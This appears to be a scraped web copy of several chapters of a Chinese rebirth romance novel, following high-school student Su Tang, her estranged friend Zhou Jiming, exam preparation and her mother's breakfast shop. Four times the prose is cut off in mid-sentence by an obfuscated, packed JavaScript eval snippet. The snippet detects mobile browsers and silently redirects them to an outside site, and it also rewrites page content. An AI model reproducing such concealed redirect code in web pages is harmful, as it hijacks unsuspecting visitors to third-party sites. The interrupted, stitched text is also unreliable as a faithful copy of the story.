“主任，是我不对。”他顿了顿，瞥了一眼苏棠，然后又把视线转向教导主任，“是我发现她举报我去网吧的事，害我受罚，我心怀不满才和她吵起来。她没有和我早恋。” 说完，装作羞愧地低下了头。 眼下实在找不到别的理由，如果在网吧被抓的事上，再加一桩早恋的罪名，处罚恐怕会更重，说不定还得请家长。 教导主任身体朝他侧了过来。 周既明感觉他正在打量他，似乎正在评估他说的话的真实性。 “上次我有事，没空处理你，你倒自己送上门来，还敢对检举的同学撒气？” 周既明暗自松了口气，如他所愿，焦点成功转移到自己身上。 他缓缓地抬头，装出一副可怜巴巴的眼神，“主任，对不起，因为她打我小报告的缘故，我的勤工俭学的机会就没有了。” 教导主任的神情从狐疑骤然转为震惊：“你说什么？你在网吧勤工俭学？你周老师不是说你也是去网吧找学习资料吗？” 周既明感觉到身侧的周书瑶手臂再次微微一颤。 “其实我之前也没跟周老师说实话，我去网吧是给人当游戏代练，挣点生活费。现在因为她——”他突然咬字加重，转身指向苏棠，“就因为她告密，现在全班都知道我去网吧被抓了，连代练的事也传开了......他们都在笑话我，说我穷疯了......” 但真相是，代练的事是他自己说出去的，为了澄清和苏棠在网吧“谈恋爱”的谣言。 他觉得苏棠既然能把他去网吧的事情捅出去，搞不好还会把他在网吧里打游戏的事情也捅出去。高中翘课出去网吧打游戏几乎是死罪，但如果是为了赚取生活费当代练，顶多算一个误入歧途。 而且事实上他确实在当代练，只是赚取的并不是生活费。 班上的男生知道他当代练赚钱后，对他很是崇拜。毕竟在游戏里挣到真金白银，几乎是每一个高中男生的终极幻想，仿佛那些电竞冠军的白日梦有了现实模板。 他打算把现实情况做一些艺术处理，卖一波惨，然后从这件事里全身而退。 这招自爆，看似送死，实则死而后生。 搞不好还能一石二鸟。 他故作姿态地低下头，假意抬手擦了擦眼角：“我知道未成年人不能进网吧，但是我想着再过几个月我就成年了，而且我确实没钱了，我连买练习册的钱都没有......你们能不能联系一下我爸，他已经很久没给我生活费了。” “他为什么不给你生活费？”教导主任的语气里甚至多了一些关切。 “因为他新家庭开销大，我妈去世以后，就没人管我了。”他试着把头埋得更低。 这也是实话，周文成已经两个月没给他打生活费了。他本来也打算这周回趟乡下，厚着脸皮找周文成和那个大不了他几岁的后妈讨要，现在看来，应该有人替他讨了。 现场的人听了他的话，都感到不忍。其中当然还包括有着27岁灵魂的高中生苏棠。 她感到眼眶发热，隔着周书瑶偷瞥了一眼周既明。 见他委屈地埋着头，喉咙顿时又泛起酸涩。 相处十年，她从来不知道他是这样的身世。 她刚刚是不是对他太凶了。 他来更衣室把自己拉走，某种程度上也是帮了她。如果不是他，此刻站在这里的就该是她和顾野了。 他甚至还把责任全部往他自己身上揽。 她心头一软，泪水从眼眶泛出，顺着脸颊滚落，最后掉落在地上。 她注视着地上那滴泪渍，不敢抬头，怕别人窥见她的窘态。 “李主任，其实既明是个好孩子，所以之前我才会帮他说话。”周书瑶在周既明的话里找到给自己下台的台阶，“他理科成绩非常好，就是家里的情况不太......” 非常合适的停顿。 “你和他父亲沟通过吗？”教导主任面恶心善，话语间竟有些哽咽。 周书瑶叹了口气，摇摇头：“我也沟通过，但是没有什么成效。高一到现在，一次家长会都没来参加。” “你把他电话给我，我来和他沟通。”教导主任皱着眉，转身怕了拍仍低着头的周既明，“好孩子，有困难要和学校说，以后少一点去网吧了。” 他甚至说的是，少一点，而不是，别去网吧了。 苏棠瞬间被学校领导的人性光辉所打动。 她偷偷又看了一眼周既明，他正委屈地点点头，手里还有擦拭眼泪的动作。 就像一个可怜巴巴的小狗。 一个鲜活的形象蓦然浮现在她的心头。 她全然忘记刚才的气急败坏，母爱泛滥得只想抱抱那个破碎的学生版周既明。 “那李主任，让他们两个先回去？我给您再讲讲这个学生的家庭情况？”周书瑶见机说道。 “走吧走吧。”教导主任朝他俩人挥了挥手，在两人走到教务处门口时又把他们叫住，“你们那个处罚，再罚一周就好了。” 面朝门外的两人深吸一口气，又随着话音的落下缓缓呼出，然后迅速地逃离了现场。 周既明越过苏棠，独自大步向前走去。 此时升旗仪式已经结束，路上都是返回教室的学生。 苏棠追了上去，和他并肩走着。 想要表达歉意，以及......关怀。 “周既明，我......” “剩下的处罚，我们一人轮一天吧。” 她话未说出就被他打断。 “为什么？”苏棠下意识问。 周既明停下了脚步，神色清明，冷冷道：“今天是我越界了，我向你道歉。希望今后我们做回普通同学，各行其事，互不干涉。” 话里话外，好似在和她划清界限。 “对不起，我......”她刚要开口解释，对方却已转身离开。 其实，她又能解释什么呢？ 出卖他的事，她做了。狠话，她也说了。甚至连刚刚的锅，都是他背的。 教导主任最近都在盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180862|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着更衣室抓早恋，要不是周既明把她拉了出来——孤男寡女，密闭空间，恐怕就不仅仅是早恋的罪名了。 她在原地思忖，有人正面朝她打招呼，是程望舒。 “苏棠，你怎么站在这里，刚刚升旗仪式你怎么没来？” 她无奈地摇了摇头。 一点力气都没有，不想说话。 是此时的她，唯一的感受。 程望舒没有追问，只是站在苏棠身后，轻轻为她捏着肩膀，同时推着她往教室走去。 苏棠心头微暖。 重生前的高中时期，程望舒也是像现在这般对她好。 这份好，最初完全在她的意料之外。 她在高一刚开学的时候确实对程望舒释放过一些善意——把自己的下铺让给了对方，在宿舍内务方面也提供了一些帮助，但这些善意在她看来其实非常的微不足道，她觉得程望舒应该不至于因为这微不足道的善意就和自己建立起如此紧密的友情。 她原本以为程望舒会和同样从黎城一中升上来的一些富家女玩在一起，毕竟人以群分，物以类聚，交朋友也要讲究一个门当户对。她一开始的时候，对程望舒释放的友情讯号并不是太感冒甚至有点抗拒，但耐不住对面一直追着自己对自己好，她才渐渐地放下设下的心房，这段友情才得以双向奔赴。 她在很后来的时候，才慢慢摸索出程望舒的内心想法。 程望舒是个有点清高的女孩子，超强的自尊心让她无法接受自己混在一堆除了家境优渥别的方面毫无亮点的富二代里，虽然她自己就是这样的一个富二代，除了容貌更好一点以外，学习、交际、兴趣爱好这些方面都没有特别过人的地方。 苏棠是她精心筛选出来的朋友，容貌虽然过得去但因为穿着打扮向来朴素所以一眼对比起来两人如有天壤之别，这就不会让她在外形这一块被比下去。同时，苏棠在生活能力、处理班上事务、以及学习上又雷厉风行且成绩亮眼，这样有能力的人和自己做朋友，也会显得自己很有能力，毕竟人以群分，物以类聚。 她们俩都认同同一种交友价值观，但因为完全不一样的视角，让本该分道扬镳的两人成为了高中时期形影不离的挚友。 她想着一些来自另一个时空的过往，回到了教室。 这节课又是物理课。 为什么非要把最折磨人的课排在第一节课，一大早大脑都还没有开机。 苏棠有气无力地从抽屉里拿出物理课本和一本A4大小的笔记本。 近来，她已经开始学习了。 毕竟，真实的27岁的她是生是死都无法确认，灵魂会在这重生的世界一直呆下去，还是会回来原来的世界都未可知，她不能完全的躺平。 她听不进去课，准备拿着物理书先画一点知识点的思维导图，好建立起这个学科的整体框架。 她翻开笔记本的第一页，刚画下一个大括号，脑海里就浮现出周既明的脸。 思维导图，还是他教她的呢。 她偷偷回头看了一眼右后方的人。 他目光直视前方，看似在专注听课，手里的笔在不停地写着，是在画思维导图吗，现在的他已经会画了吗？ 9. 第九章 “你这样背效率太低了，而且知识点都是零散的，你会画思维导图吗？”周既明拿过苏棠的市场营销学的课本，“比如说，你这个4P营销理论作为一个点，它后面要跟组织、计划、领导、控制四个知识点，然后这四个知识点后面继续扩充，你把整本书的重点按照这样的顺序画一边，你就有个框架了，然后你再去背。” 她一直觉得，周既明很适合当老师，他讲话的逻辑很清晰，而且重点很明确，一下就让人找到学习中的窍门。 她上了大学以后把他奉为学神。 虽然她高考分数比周既明高，但她明白那是他高中没有尽全力学的缘故。 “好的好的，那学神你帮我画这本《管理学原理》吧，我先画这本《市场学营销》。”她的请求是那么地理所当然。 她在求他帮忙这件事情上，脸皮早磨得刀枪不入了，她龇牙咧嘴地朝他笑笑。 对面的人只能无奈地提笔开写，嘴角却压不住地上扬。 两个时空的脸和身影再次重合，她一时分不清自己身在何处。 讲台上的物理老师敲了敲课桌，她猛地转回脑袋，望向黑板。 她忽然惊觉，在生死无常面前，时空错位之后，她甚至连他一句道歉都没等到，就已经无声地原谅了他。 甚至，还很想他。 她一边听课一边在笔记本上盲目地抄写着什么。 耳边满是教室里此起彼伏的书写声。 在这片喧嚣的寂静里，一种孤独感漫上心头。 只有她来自未来——这个认知让她不管处于多么熟悉的环境当中，都无法避免孤独的感觉。她就像背负着一个不可告人的秘密，不可对人言说，也绝不可能有人相信。 她这几天，在周既明的事情上，实在是失了理智。 不管是出卖他的行为，还是多次和他发生正面冲突，甚至异常伤人的狠话。 其实都是她向他发出的求救，她希望在这异常空旷的时空里，有人能发现并且拯救她。 她苦笑了一下。 她又有什么资格和人决裂呢？ 哪怕在现在这个时空，她都像从前一般依赖他。 但不能再这样下去了吧。 重来一次，她还要和他搅和在一起吗？ “今天的课就讲到这里，另外我提前告知你们一件事情，下周二要进行这学期第一次月考，大家好好准备一下。” 台上的物理老师放下这个重磅消息后就离开了教室。 随即，整个教室怨声载道，哀声四起。 苏棠因这瞬间的哀怨声回过神来。 然后，也跟着一起哀嚎起来。 她扑向程望舒：“怎么办？要完蛋了啦。” 程望舒没好气地回答：“别演了，谁信啊，高二上学期期末你考了全班第一，你要是完蛋，我就要毁灭了。” 说罢，把苏棠从身上扒拉下来。 程望舒说的没错，她上学期期末确实考了全班第一，但那不是她考的，是之前的苏棠考的。 而且正是因为上学期原本的苏棠考了全班第一，此刻的她才感到压力山大，不管怎么操作，这次月考注定是滑铁卢。 放学后，她在食堂打了一份外带的炒饭，和程望舒说中午不回宿舍休息，要去学校的后山复习。 程望舒将信将疑地独自回了宿舍。 苏棠骨子里就是一个三好学生，哪怕毕业多年，仍对好成绩有着天然的执念。就算是重生，也无法改变她这种属性。 她端着一碗纸盒装的炒饭，怀里抱着物理课本、练习册和笔记本，独自上了学校的后山。 说是后山，其实就是一个地势稍高的小山坡。学校领导给这块空地做了一些修缮，加了一些雕塑和休息的石椅。 早晨时会有一些学生来这里早读，但大中午的，应该不会有人吧。 她踩着石阶走了上去，登上山坡时，却发现想去的凉亭里有个熟悉的身影。 “顾野？”她轻声问了句。 那人回头，目光微顿，然后脸上露出微笑。 “班长，你怎么来后山。” 苏棠晃了晃怀里的书本，笑道：“我来复习，你呢？” 顾野尴尬地挠了挠头：“我也是。” 这少年还是这般阳光明朗。 她朝他走了过去，在长椅上散落的数学资料旁找了个空位坐下。 她一边吃着炒饭，一边看顾野手里的资料。 “你在复习数学吗？”她问道。 “是学习。”顾野抬眼望她，脸上又是尴尬的神情，“我都不会，谈不上复习。” 苏棠知道顾野高中成绩不好，但她一直觉得，那是他对应试教育的反抗，同时也是对心中热爱的坚守。 顾野从高一开始就组了一个篮球队，队员是几个同他初中就开始一起打球的同学，他们初中的时候在校外打球认识，很幸运地都考上了黎城一中。 这个篮球队被认为是黎城一中文化生在篮球方面最后的倔强，他们打不过体育生，就经常约其他文化生打友谊赛，球队活动一度发展到校外，在黎城高中圈里小有名气。 顾野高中前两年在这个篮球队上投放了相当多的精力，以至于他的成绩在班里一直不上不下。 这种为热爱而淡看成绩的洒脱，让她望尘莫及，心生敬佩。 正是这种与她截然不同的人格魅力，让她多年来始终仰望着他。 “但是你也不在乎不是吗？”她漫不经心道。 顾野思索片刻，嘴角挤出一声短促的尬笑。 “班长，你太高看我了，我不是不在乎，是只能装作不在乎。”他低头看向手中的资料，“我是真的学不会，我和你不一样。” 苏棠没想到顾野会露出这般不自信的模样。 那个在她记忆里永远意气风发、桀骜不驯的少年，此刻竟流露出几分差生的窘迫。 “你只是没认真学，要是认真学也能拿到好成绩。”苏棠轻声安慰道，尽管她心底仍不愿接受顾野这般局促的模样，“我没认真学，也得考差。我最近就没认真学，不信你看我这次月考，绝对让你大跌眼镜。” “呃......”顾野愣了，讷讷道，“你不是安慰我吧。” “是不是安慰你，月考成绩出来你就知道了。” 苏棠说着，顺手收拾好一次性碗筷，随即席地而坐，将刚搁在地上的物理书和A4笔记本摊开在长椅上。 顾野的眼中闪过一丝好奇，“班长，你最近和之前很不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180863|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” 苏棠意识到他可能是指她去网吧被抓一事，索性开门见山，“因为我去网吧被抓？” “也不全是，你整个人状态都不太一样。”顾野声音渐轻。 苏棠：“怎么不一样？” 顾野放下了手中的数学资料，沉默了几秒。 “你之前比较......柔弱，但最近我看你走路都带风。”他顿了顿，“早上我去升旗时路过操场边上，看见你和既明吵架，你当时......很有气势。” 苏棠没吭声。 所以，他是看到她和周既明的吵架现场吧。 那会不会听到他们的争吵内容。 “我就是要借这个机会和顾野亲密接触——”她脑海中不自觉地回放了先前吵架时说过的话。 实在是过于羞耻。 她转头看向他。 他表情平淡，看不出任何异样。 应该没听到她那番出格的话。 “我们......我们当时在讨论学习，意见不一样所以看起来比较激动。”近来，她信口开河的本事是越发精进了。 “我觉得蛮好的，当然你之前也挺好的，但是之前就给人一种很容易被人欺负的感觉。”顾野慢条斯理地说道。 他是一个没有什么城府的人，心地善良，言语坦诚却不失分寸。 他或许是想说，她从前唯唯诺诺，如今却多了几分底气吧。 “原来我之前在你心目中是这样可怜的角色啊。”苏棠打趣道。 顾野微微颔首。 话题被终结，两人各自看各自带来的学习资料。 这是苏棠第一次与顾野独处如此之久，也是第一次与他交谈这么多。 但，她并未如预想那般激动，反而出奇地平静。 或许是因为实际相处后，发现真实的顾野和她想象的并不一样。 但也很好。 真实的顾野，坦率，真诚，小心翼翼，给人一种温润如玉的感觉。 她一定也喜欢眼前这个真实的他。 她看了看手机上的时间。 已经是下午1点53分，马上就要上课了。 “走吗？”她朝身旁的顾野问道。 顾野：“走。” 两人一同走下山去。 半路，顾野突然轻声唤了她的名字。 “苏棠。” “嗯？”她下意识回答。 “我在想——”他顿了顿，“如果你不介意的话，我学习上如果遇到不会的，能不呢找你解答？” 他好像一个胆怯的讨要糖果的小孩子。 苏棠笑笑，“当然可以。” 顾野脸上随即露出感激的笑容。 她感觉好像有阳光照耀在自己身上。 来到后山的出口，他们意外碰见了拿着两瓶冰红茶的程望舒。 “舒舒，你怎么在这？”苏棠自然而然地贴近程望舒，顺手结果她递来的冰红茶。 “来接你啊。”程望舒唇角勾起一抹玩味的弧度。 她眼尾朝后方的顾野一扫，胳膊轻轻撞了撞苏棠，轻声问了一句：“这是什么情况？” 苏棠学着程望舒之前回答她的模样，尾音上扬，脸带笑意，“你觉得呢？” 10. 第十章 周一下午班会课。 “下周二将举行月考，想必大家都已经知道了。虽然只是月考，但这次考试会涵盖高中全部知识点，算是对大家的一个摸底。大家好好准备准备。”周书瑶刚踏进教室，便向全班宣布了这个消息。 由于上午便得知这个消息，大家并未表现出过多反应。 “另外提醒一下各位，月考结束后，将根据成绩重组学习互助小组，并且以小组名单为基础，重新调整座位排列。想必大家还记得我们班这个规定吧。”周书瑶视线定位到班上的几对情侣身上，“想保住现在的小组成员和同桌的人，可得加把劲咯。” 学习互助小组，苏棠许久没有听到这个名词。 这是他们五班特有的产物。 周书瑶在高二文理分班后，便在班上推行互帮互助的学习模式，她要求每位同学寻找一位学习伙伴，组成学习互助小组，并建议组员之间最好能形成学科互补，这样一来，通过互相错开的学科帮补，每个人都能再提升薄弱科目的同时，还巩固自己的优势学科。 但这个模式存在一个个弊端，部分早恋的同学可能借此名义行恋爱之实。对此，周书瑶早有预见，她给这个模式加了一些约束，每次考试后都必须重新组队，如果原小组成绩没有达到提升目标，就禁止再次组成学习小组。 这样一来，那些情侣组合为了不被拆散，反而加倍努力学习，最终竟形成了“早恋反而促进成绩”的良性循环。 她和程望舒的学习小组恐怕要解散了，按照规则，这次考试如果她们其中一人考得太差，小组就得拆伙，而她是必定会考砸的。 重生前高中三年，她和程望舒整整做了三年的同桌。 高二分班后，两人为了能继续做同桌，彼此督促学习，始终让成绩至少保持在不下滑的状态。 本以为两人高考都能考个理想的成绩，谁知程望舒最终发挥失常，只考了个二本院校。 她余光扫过程望舒的侧脸，暗自思忖。 重生这次，有机会改写程望舒高考失利的结局吗？ 她把这事定为重生后需要达成的一个目标。 尽管这次月考后她和程望舒难免短暂的“分道扬镳”，但在下一次考试，她有把握能把这个同桌兼学习小组成员给赢回来。 这节班会课没有别的议题，剩余的时间，周书瑶让大家自习。 苏棠抽出物理书和笔记本。 午休时她完成了电场部分的思维导图，现在正提笔准备画磁场章节的知识点脉络。 一旁的程望舒很是好奇，她趴了过来，开口问道：“你这写的是什么啊？” “邪修。”苏棠眨了眨眼睛，望着程望舒，“做完以后给你复印一份。” 她对这思维导图的力量深信不疑，她相信这将成为她制霸高中的秘密武器。 程望舒露出一副推崇备至的神情，朝苏棠点了点头。 苏棠因毕业后在跨国企业担任HR的经历，英语水平不错，加之语文本来就是她的强项，因此只需要将理科知识重新捡起来，应该就能轻松应付考试。 眼下最大的问题，是时间不足。 她几乎动用了全身的注意力去复习，半节班会课的时间，便梳理出物理磁场章节的知识框架。 下课铃声响起时，她因过度地集中精神而感到困倦，趴在课桌上小憩。 “两位班长，去书报亭搬一下一轮复习的练习册。”周书瑶在台上喊道。 苏棠勉强撑起身子，好似被抽走全身力气一般走出了教室。 周既明跟在她身后。 她注意到后方的人，特意停下脚步等他。 然而，他并未理会她，径直与她擦肩而过。 大概还在为早上的事情生气吧。 她不禁又想起他在教务处哭诉身世时，那副可怜巴巴的小狗模样。 她追了上去，和他并排走着。 “你复习好了吗？下周月考。”她试探性地找着话题。 “不怎么复习。”他语气冷淡。 苏棠不死心：“你不用复习都能考好，真厉害......我这次怕是要完蛋了。” 她觉得自己有点死皮赖脸，明明早上还撂过狠话。 这也是她对周既明的惯用操作，重生前她也经常也经常对他放狠话惹怒他，但事后她只要像现在这样东拉西扯扯些闲话，他很快就会原谅她。 但，这招对现在的周既明不起效。 他停下了脚步，语气冷峻：“我想我今早已经说的很清楚，我们只保持普通同学关系。” 苏棠愣住。 她很少见周既明这种认真严肃的样子。 她所了解的周既明，向来将腹黑掩藏在轻佻表象之下，极少如此严肃地表明立场。 可怜小狗生气了。 自从早上在教务处目睹周既明梨花带雨的模样，她心底便将他与弱小无助的小狗形象联系到了一起。 见他已经走出半米开外，她快步追了上去，“上午包干区还没扫，等下放学傍晚我们一起去扫吧。” 周既明目不斜视，“你如果下午去，我就明天去，一人轮一天。” 说完，加快步伐踏入了书报亭。 “你们是高二几班的？现在只到了数学的一轮复习练习册，其他科目还要等几天。”书报亭的阿姨向两人问道。 周既明：“高二五班。” “拐角那两摞。”书报亭阿姨朝书架拐角努了努嘴，顺手抓起登记簿记了几笔。 “谢谢。”周既明大步上前，双手提起两摞练习册，转身便走。 “欸，那我拿什么？给一摞给我。”苏棠在他身后追问道。 “不用。”他略显敷衍地回应。 苏棠就这样两手空空跟着周既明回到教室门口。 就在进门前片刻，他突然提起右手那摞练习册，朝她扬了扬下巴示意。 示意让她抱一摞进去。 她迅速接过。 高中时代便已这般心思缜密，苏棠不由得暗自感叹。 他们一同将刚取回的练习册分发给同学们。 接下来的两节课，苏棠没有听讲，全神贯注地梳理着物理知识点，绘制思维导图。 下午放学铃声一响，她便直奔操场包干区，一边扫一边等周既明的到来。 但直到她打扫完，晚自习快要开始，她依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180864|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有看到他的身影。 她连澡都顾不上洗，匆匆从小卖部买了个面包就往教室赶去。 到教室时，周既明站在讲台上擦黑板。 听见动静，他偏头扫了一眼，随即又若无其事继续擦拭。 这风格很周既明。 这种若即若离的处事之道，原来他在高中时期就已经炉火纯青。 严肃地划清界限后又绅士地帮提练习册，明知道她会在包干区等他，却迟迟不出现。注意她的一举一动，却偏要摆出冷淡姿态。 她气得转身走向走廊栏杆，打算吃完面包再进教室。 经过一下午的思想斗争，她终究无法舍弃周既明这个好友。 尽管在重生前的时空里，未来的他做过一些令她心寒的事情，但这个时间节点的周既明是无辜的。 更何况，她还意外发现了他一直深藏的凄楚家境。 上一世，高三的周既明主动向她抛出友谊的橄榄枝。 这一世重生，就让她提前来铺就这段友情吧。 晚自习课间，苏棠尝试在教室里和周既明搭话，但是对方又是一副爱答不理的样子。 甚至第二天苏棠早早赶到包干区想和他一起打扫，却发现他总是早早地就把所有卫生都搞完。第三天早上，包干区依旧不见他的身影。 他严格地执行着“你一天我一天”的轮流机制。 直到处罚的最后有一天，周五下午，苏棠都没能在包干区上碰上周既明一面。 纵使她已下定决心要与他重新开展友情，也抵不住对方一次次的冷漠和疏离。 她用学习麻痹自己。 这几日，已经将理科的科目整理得差不多了。 她把将四本厚重的笔记本及配套的课本练习册塞进背包，打算周末回家再突击复习两天。 “你最近得罪副班长了？”一旁也在收拾书包的程望舒随口问道。 苏棠点头：“因为他发现我举报他去网吧的事情了。” 她想，事情的源头应该是这个。 那晚在包干区清扫时，周既明难得与她气氛融洽，向她解释了他当时并非故意断她的网络，是网管知道有人巡查所以断的，同时也没有见死不救，实在是事发突然，来不及营救。 但她并没有给他解释的机会就在办公室把他给告发了。 她回想这几天的桩桩件件，觉得周既明对她冷淡，好像也情有可原。 傍晚时分，她背着塞满资料书的书包登上校门口的公交车，抢到了公交车后方倒数第二排靠窗的位置。 这是她最喜欢的位置，既可以欣赏窗外流动的风景，又可以避开过道往来人群的纷扰。 傍晚的天是酒蓝色的。 公交车驶过海滨大道，路边的榕树垂着长长的气根，榕树下，昏黄灯光晕染出一片温暖的朦胧，一个阿婆拖着拖车在卖甜豆花和凉粉，几个小孩端着装着白色豆花或黑色凉粉的一次性塑料碗坐在榕树下，正在低头吃着。苏棠把头靠在车窗上，任由窗外吹进来的风把自己的头发吹乱。 重生归来近一个月，她似乎终于融入当下的生活。 如果回不去未来，那就在这重新出发吧！ 11. 第十一章 许记早餐店的蓝色雨棚已经收起，许春梅正坐在一个巨大的红色塑料盆前，清洗盆里那些布满油渍的不锈钢盘子。她的右腿使不上劲，身子微微向左侧倾斜着。 “妈，我回来啦！”苏棠背着书包，悄然出现在许春梅面前。 许春梅应声抬头，朝苏棠笑笑，“饭已经做好了，你先去洗澡，我收拾一下店铺。” 苏棠背着背包走上狭窄的楼梯，从楼梯旁看着许春梅一瘸一拐的走向那个硕大的红色塑料盆，傍晚时分，是许春梅收拾店面的时间。 在苏棠初二的时候，许春梅和她的丈夫经历了一场车祸。 正是这场车祸，让许春梅的腿瘸了，同时让苏棠失去了爸爸。 许家早餐店，是许春梅花掉所有赔偿金在城里买的一栋携带店面的房子。苏棠从县里考上黎城一中后，她们就从平县搬来了这里。 整栋房子只有三层，一楼是只在早上和中午开放的许家早餐店，二楼是苏棠和许春梅居住的地方，两室一厅公用卫浴，三楼是开放的露台，许春梅在上面种了很多蔬果，有小番茄和和灯笼椒，现在正结得满满当当。 苏棠拖着沉重的背包进了卧室，一进门就被一股陈旧的霉味呛得咳嗽了一下。她连忙打开书桌前的窗户，然后把放置在窗边的白色立式风扇打开。 才一周没回来，空气里遍布了陈旧的尘埃，风扇窗户一开，这些微小粒子就随着风的流动被全部驱赶到窗外。 尽管重生已近一个月，但因为之前尚未完全适应，她都未曾仔细打量这之前居住了六七年的屋子。 重生前，她大学毕业第三年便在黎城市中心为许春梅购置了套小两居，同时将这栋两层楼高的房子转手出售。随着许春梅的搬离，那家飘着米粉香气的许家早餐店永远拉下了卷帘门。 若非重生回17岁，她恐怕此生再难踏足此地。 苏棠打开衣柜，望着满目印着卡通图案的衣服，不禁轻叹一声。 高中时期，她一心扑在学习上，衣服和鞋子全由许春梅操办。许春梅始终将她当作初中孩童般对待，购置的衣服都充满着稚气。 是时候添置几套能穿得出去的衣服了。 她翻箱倒柜终于在床底的角落找到她高中时期的存钱罐。 她将存钱罐里的钱尽数取出。 那是17岁的苏棠从高一攒到如今的存款，清点后竟发现这是一笔近三千元的巨款。 足够她买几套新衣服了。 剩下的钱还可以用来做点小本生意。 这几天，她除了埋头苦读高中课程，还在盘算如何凭借重生的信息差赚点钱。 毕竟，那些穿越剧里的主人公都是这么干的。 但与那些自带金手指的影视主人公不同，她此刻毫无头绪。 她想过买比特币，毕竟这玩意过个十年身价能翻上万倍。但2022年的她连交易平台都没点开过，只见过周既明操作。 况且这玩意也不能让她迅速赚到钱。 她眼下想买的东西又多——台式电脑和智能手机，还有每个月固定的网费和话费。 作为一个在2022年严重依赖手机的正常人类，她从来没想过断网竟会如此煎熬。 她也曾动过买彩票的念头，奈何毫无准备地重生回来，压根不记得这一年的中奖号码。 最终，她只能把目光放在贩卖智能手机壳和贴膜上。 2012年正值智能手机兴起之际，这些小物件看似廉价实则利润惊人，何况她的贴膜收益堪称顶尖。 她把清点好的钱都塞进钱包里，然后从衣柜拿了衣服准备去洗澡。 她打开花洒往桶里放水，却在水满的时候才发现水温太烫。 于是，她站在厕所门前的窗户边等水温下降。 半边身依在墙上。 她望向窗外，看见对面骑楼的天台上晒满了鱼干和虾米，咸咸香香的气味寻着热气传了过来。 所以，周既明的腹黑和间歇性刻薄，都是因为他的家庭情况吗？ 这一周，她只要空闲下来就会想这件事情。 那十年，他为什么从来没有和她说？ 而她，那些年看着他连春节都不曾踏足黎城，却也未曾开口问过半句。 作为朋友，她实在是不称职。 虽然他们的同盟关系最初是由周既明促成的，但后来，她却比起促成者更依赖这段同盟关系。 那些年，她拽着周既明跨越大半个城市追顾野的篮球赛，借用他的社交帐号打探消息，甚至假期拉着他去顾野所在的城市“旅游”，借着旅游的名义去顾野的大学“探望同学”...... 她是不是有点忘恩负义呢？ 周既明很多时候还是对她的暗恋有所帮助的，或许后来的他，只是疲倦了，不想再陪她耗下去了。 思绪混沌间，她洗完了澡，回到房间开始做数学这科的思维导图。 * 周六清晨。 “再不吃粉丝都要化了。” 许春梅在店铺里忙前忙后，忙碌之间却发现苏棠迟迟不动筷子。 “哦，好。” 苏棠机械地拿起筷子，吃着已经微凉的瘦肉粉。 熬了一整夜复习的她，此时双眼发涩，四肢乏力。 “这么早就去能抓到吗？” “今天是周六，绝对一大堆青年仔早早去打游戏。” “哎，又要当坏人。” “你以为我想啊，要不是那群家长周周都举报，我都懒得去查。” “是啊，就当交差。那待会先去哪家？” “先去鱼跃吧，上次不就抓到一个女学生。” 苏棠背对着店铺门面坐着，她听着身后两个中年男人的对话，偷偷回头看了一眼。 是上次抓她的两个警察。 她瞬间紧张起来—— 此刻的周既明会不会正在网吧代练游戏？ 苏棠放下了筷子，用尽可能小的动作起身，然后背对着身后的人碎步走出了许家早餐店。 她几乎是用百米冲刺的速度，冲向了鱼跃网吧。 “我找人。” 她进了网吧大门，向前台小哥丢下一句，没等对面给反应，就自顾自地走了进去。 周六的网吧异常的热闹，看样子大多都是初高中生。 其实国家打击未成年人进网吧本质上是对未成年人的保护，网络的世界有着致命的成瘾性，这种成瘾性是她在未来的世界亲身体验过的。自从触屏手机横空出世以后，移动互联网如同海潮般在现实社会铺展开来，给人们生活带来便利的同时，也让大部分的人患上了时刻离不开手机的病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180865|180959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她很庆幸，自己的青少年时期网络还未完全普及，不然太早陷入虚无缥缈的网络世界里，高考可能都成问题。 她的视线在整个网吧里逡巡。 厕所边上的位置没有。 刚刚路过的地方也没有。 就连网吧大门口附近比较显眼的位置上也没有。 整个网吧，都没有周既明的身影，苏棠松了一口气。 